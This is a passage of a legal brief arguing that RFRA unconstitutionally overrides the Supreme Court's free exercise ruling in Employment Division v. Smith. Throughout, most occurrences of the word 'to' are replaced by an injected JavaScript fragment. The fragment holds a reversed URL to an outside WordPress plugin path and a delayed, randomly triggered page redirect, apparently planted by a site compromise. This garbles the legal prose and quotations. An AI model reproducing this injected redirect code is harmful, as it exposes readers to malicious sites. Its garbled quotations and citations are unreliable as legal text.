We have never invalidated any governmental action on the basis of the Sherbert test except the denial of unemployment compensation. Although we have sometimes purported toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to apply the Sherbert test in contexts other than that, we have always found the test satisfied.  [30]  In recent years we have abstained from applying the Sherbert test … In Bowen v. Roy, 476 U.S. 693 (1986), we declined toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to apply Sherbert analysis toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a federal statutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory scheme that required benefit applicants and recipients toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to provide their Social Security numbers … In Lyng v. Northwest Indian Cemetery Protective Assn., 485 U.S. 439 (1988), we declined toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to apply Sherbert analysis toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Government’s logging and road construction activities on lands used for religious purposes by several Native American Tribes . . . In Goldman v. Weinberger, 475 U.S. 503, 106 S. Ct. 1310, 89 L.Ed.2d 478 (1986), we rejected application of the Sherbert test toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to military dress regulations that forbade the wearing of yarmulkes. In O’Lone v. Estate of Shabazz, 482 U.S. 342 (1987), we sustained without mentioning the Sherbert test, a prison’s refusal toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to excuse inmates from work requirements toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to attend worship services.

Smith, 494 U.S. at 883-84 (citations omitted).

 

Even those in dissent in Smith agreed that the compelling interest test had not obtained in every context. Justices Brennan, Marshall and Blackmun joined the section [31]  of Justice O’Connor’s concurrence in the judgment in which she identified “contexts in which [the Court has] not traditionally required the government toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to justify a burden on religious conduct by articulating a compelling interest.” Id. at 900-01 (identifying cases involving the government’s conduct of its own internal affairs, military regulations and prison regulations as subject toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to deferential review).2

[32]

The Court continued: “Even if we were inclined toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to breathe intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Sherbert some life beyond the unemployment compensation field, we would not apply it toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to require exemptions from a generally applicable criminal law … We conclude toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today that the sounder approach, and the approach in accord with the vast majority of our precedents, is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hold the [Sherbert] test inapplicable toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to… [free exercise] challenges [toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to generally applicable laws].” Id. at 885-86 (emphasis added). In other words, the compelling interest test was inconsistent with most of the Court’s free exercise precedents.

The Smith Court limited its discussion toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the compelling interest test announced in Sherbert, not even referring toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the least restrictive means test that appears in § 2000bb-1(b) of RFRA. In fact, the least restrictive means test has not been a staple of free exercise doctrine. It has never been used by this Court toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to invalidate a law and has been cited as a component of the standard of review for free exercise cases in only one case, Thomas v. Review Bd. of Indiana Employment Sec. Div., 450 U.S. 707, 718 (1981). See also The Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act of 1991: Hearings on H.R. 2797 [33]  Before the Subcomm. on Civil and Constitutional Rights of the House Comm. on the Judiciary, 102d Cong., 2d Sess. 380-81 (1992) (statement of Professor Ira C. Lupu) (“You will search the Supreme Court’s opinions in Yoder and Sherbert in vain for the [least restrictive means test].”).

The Smith Court explained its decision toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to follow the larger trend of its precedents rather than toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to extend the compelling interest test beyond the few cases employing it, saying:

Any society adopting such a system would be courting anarchy, but that danger increases in direct proportion toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the society’s diversity of religious beliefs, and its determination toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to coerce or suppress none of them. Precisely because “we are a cosmopolitan nation made up of people of almost every conceivable religious preference,” Braunfeld v. Brown, 366 U.S., at 606, and precisely because we value and protect that religious divergence, we cannot afford the luxury of deeming presumptively invalid, as applied toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the religious objectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, every regulation of conduct that does not protect an interest of the highest order.

Smith, 494 U.S. at 888.

 

Five months before RFRA was enacted,  [34]  the Court reaffirmed its commitment toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to its free exercise doctrine announced in Smith with its decision in Church of the Lukumi Babalu Aye v. City of Hialeah, 508 U.S. 520 (1993). The opinion for the Court, written by Justice Kennedy and joined by Chief Justice Rehnquist and Justices Stevens, White, Scalia, and Thomas, declared: “In addressing the constitutional protection for free exercise of religion, our cases establish the general proposition that a law that is neutral and of general applicability need not be justified by a compelling governmental interest even if the law has the incidental effect of burdening a particular religious practice.” Lukumi, 508 U.S. at 531. Although challenged toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to retreat from the Smith Court’s analysis by separate opinions authored by Justices Blackmun, id. at 577 (Blackmun, J., concurring in the judgment), and Souter, id. at 559 (Souter, J., concurring in part and concurring in the judgment), this Court adhered toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Smith analysis of free exercise doctrine. Congress ignored this manifest reaffirmation of the Court’s free exercise doctrine and enacted RFRA only months later.

C. Congress’s Hostile [35]  Response toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Employment Division v. Smith

The plain language of RFRA, as well as its legislative histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory, make painfully clear that members of Congress read the Court’s thoughtful opinion in Smith with attention and therefore understoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tood that the Court had declared that the First Amendment’s free exercise doctrine does not require strict scrutiny of neutral, nondiscriminatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory, generally applicable regulations. 3Smith, 494 U.S. at 888. Not satisfied with the Court’s statement of the Free Exercise Clause, Congress, at the insistence of organized religions and civil liberties groups from around the country, drafted and enacted RFRA for the sole purpose of overturning Smith. 4

[36]

Any hopes that the Executive Branch’s vetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to power might have been exercised toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to halt this march intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the judiciary’s terrain were dashed when President Clintoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton signed RFRA intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to law, saying RFRA “reverses the Supreme Court’s decision [in] Employment Division against Smith.” Remarks on Signing the Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act of 1993, II Pub. Papers 2000 (Nov. 16, 1993).

The Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act is nothing less than a competing interpretation of the Free Exercise Clause. In the Free Exercise context, it turns day toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to night. It transforms presumptively valid neutral, nondiscriminatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory, and generally applicable laws intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to “presumptively invalid” laws. Smith, 494 U.S. at 888.

RFRA bears the hallmarks of a constitutional decision overruling a prior judicial precedent. The text of the Act is not in the least shy about declaring its constitutional character. The Act begins with the following declaration: “The framers of the Constitution, recognizing free exercise of religion as an unalienable right, secured its protection in the First Amendment toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Constitution.” 42 U.S.C. § 2000bb(a)(1), Cert. Pet. App. at 39a. The Act goes [37]  so far as toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to define “exercise of religion” for purposes of the Act as “the exercise of religion under the First Amendment toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Constitution.” 42 U.S.C. § 2000bb-2(4), Cert. Pet. App. at 41a.

The Act’s scope is constitutional in nature, its sweep breathtaking. RFRA applies toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to every government and every law in the United States, past, present and future:

Every government. The Act defines “government” as including “a branch, department, agency, instrumentality, and official (or person acting under color of law) of the United States, a State, or a subdivision of a State.” 42 U.S.C. § 2000bb-2(1), Cert. Pet. App. at 41a.

Every law. The Act states that RFRA “applies toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to all Federal and State laws, and the implementation of that law, whether statutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory or otherwise.” 42 U.S.C. § 2000bb-3(a), Cert. Pet. App. at 41a. The range of amici in support of Petitioner evidences the way in which RFRA invades every arena of government regulation: from the protection of children toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torical preservation and urban planning toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to prison oversight. These in turn reflect only a small portion of the universe affected by [38]  RFRA.

Every time. The Act expressly applies toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to every law that was “adopted before or after November 16, 1993 [the date of RFRA’s enactment].” 42 U.S.C. § 2000bb-3(b), Cert. Pet. App. at 41a.

In direct and unmistakable contravention of Smith, Congress enacted intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to law the compelling interest test announced in Sherbert, stating, “Government shall not substantially burden a person’s exercise of religion even if the burden results from a rule of general applicability [unless the law] is in furtherance of a compelling governmental interest.” 42 U.S.C. § 2000bb-1(a), reprinted in Cert. Pet. App. at 40a.

Congress also codified in RFRA a least restrictive means test, despite its insignificant role in free exercise cases. See 42 U.S.C. § 2000bb-1(b), reprinted in Cert. Pet. App. at 40a. In short, RFRA mandates a standard — the compelling interest test — that the Supreme Court expressly stated was not the traditional or the appropriate standard in free exercise cases, Smith, 494 U.S. at 884-85, and appends toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to it a test so infrequently invoked that the Smith Court found it unnecessary [39]  toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to address.

RFRA’s new standard marks a sea change from prior free exercise law. The least restrictive means test by itself transforms Smith’s presumption of validity for neutral, generally applicable laws intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a standard that “will ultimately lead toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to striking down almost any statute on the ground that the Court could think of another ‘less restrictive’ way toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to write it.” Supreme Court of New Hampshire v. Piper, 470 U.S. 274, 294-95 (1985) (Rehnquist, J., dissenting).

Predictably and ironically, in Congress’s headlong rush toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to “fix” free exercise law, Congress drafted a new free exercise standard. As the preceding description of the Court’s doctrine should make clear, the euphemistically-named Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act does not restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore the free exercise doctrine in place before Smith but rather creates out of whole cloth a new free exercise standard characterized by a rigid, across-the-board standard not in evidence in the “vast majority” of the Court’s Free Exercise decisions before Smith was decided. Smith, 494 U.S. at 882-87; see also id. at 900-01 (O’Connor, J., concurring). Indeed, the most oppressive aspect of RFRA for governments [40]  — the least restrictive means test — is a virtual novelty in the free exercise arena. See supra part I.B. If what members of Congress intended toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do was toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore prior law, they bungled the job rather seriously.

Congress has co-opted the Court’s interpretive role. As a direct result, the courts have been relegated in free exercise cases toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the role of interpreting Congress’s inaccurate assessment of the Constitution, rather than their constitutionally appointed role of interpreting the Constitution itself.

RFRA’s defenders have attempted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to gloss over its glaring separation of powers faults by stating that it is merely a “statutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory” right over and above a constitutional floor set by the Court. The characterization of RFRA as a “mere statutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory right,” however, is nothing more than a thin pretext for Congress’s attempt toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to overtake the Court’s appointed role in interpreting the Free Exercise Clause of the First Amendment. See M’Culloch v. Maryland, 17 U.S. (4 Wheat) 316 (1819) (“The judicial department . . . will decide whether the connection is real, or assumed as the pretext for the usurpation of powers not belonging toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the government.”). The lower courts have had [41] little patience with this misleading defense of RFRA. See Flores, 73 F.3d at 1361;Hamiltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton v. Schriro, 74 F.3d 1545, 1563 (8th Cir. 1996) (McMillian, J., dissenting); Hodge v. Magic Valley Evangelical Free Church, Inc., 200 B.R. 884, 900-01 (Bankr. D. Idaho 1996);Keeler v. Mayor & City Council of Cumberland, 928 F. Supp. 591, 599 (D. Md. 1996).

D.  RFRA Must Be Struck toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Preserve the Balance of Power Between the Court and Congress

The Supreme Court bears responsibility toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to delineate the constitutional scope of congressional power toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to legislate. See United States v. Lopez, 115 S. Ct. 1624, 1639-40 (1995) (Kennedy, J., concurring); Miller v. Johnson, 115 S. Ct. 2475, 2491 (1995). As then-Justice Rehnquist has stated,

While the presumption of constitutionality is due toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to any act of a coordinate branch of the Federal Government or of one of the States, it is this Court which is ultimately responsible for deciding challenges toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the exercise of power by those entities.

City of Rome, 446 U.S. at 207 (Rehnquist, J., dissenting). RFRA’s transgression of judicial power overcomes [42]  this presumption of constitutionality. “To allow a simple majority of Congress toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have final say on matters of constitutional interpretation is . . . fundamentally out of keeping with the constitutional structure.” Mitchell, 400 U.S. at 205 (Harlan, J., concurring in part and dissenting in part).

In essence, Congress has instructed the Supreme Court how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to interpret the Free Exercise Clause of the First Amendment (that is, apply the compelling interest test), even though the Court, the entity charged by the Constitution with its application, has determined that the compelling interest test is neither feasible nor required. It hardly needs toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be said that where Congress and the Supreme Court are so clearly at odds with each other over the definition of a fundamental right, the conflict presents an obvious and serious threat toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the delicate balance of the separation of power.

Hamiltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, 74 F.3d at 1566 (McMillian, J., dissenting).

 

There is nothing ambiguous about RFRA’s separation of powers violation. This Court’s statement of the free exercise standard in Smith was stated in plain terms. And Congress’s act of overriding that standard is [43]  unmistakable in the title, the plain language of the Act, and in its legislative histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory. 5 Never before has the Court’s constitutional preserve of power been compromised toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to this extent. RFRA is nothing short of a hostile takeover of this Court’s constitutionally appointed role in free exercise cases.

Without a doubt, religious liberty is at the heart of this country’s experiment with democracy. This Court stated in Smith that governments could and would accommodate religion with specific exemptions from generally applicable laws. See Smith, 494 U.S. at 890 (“Values that are protected against government interference through enshrinement in the Bill of Rights are not thereby banished from the political process. . . . [A] society that believes in the negative protection accorded toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to religious belief [44]  can be expected toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be solicitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous of that value in its legislation as well.”). But the power of accommodation does not make any and every congressional foray 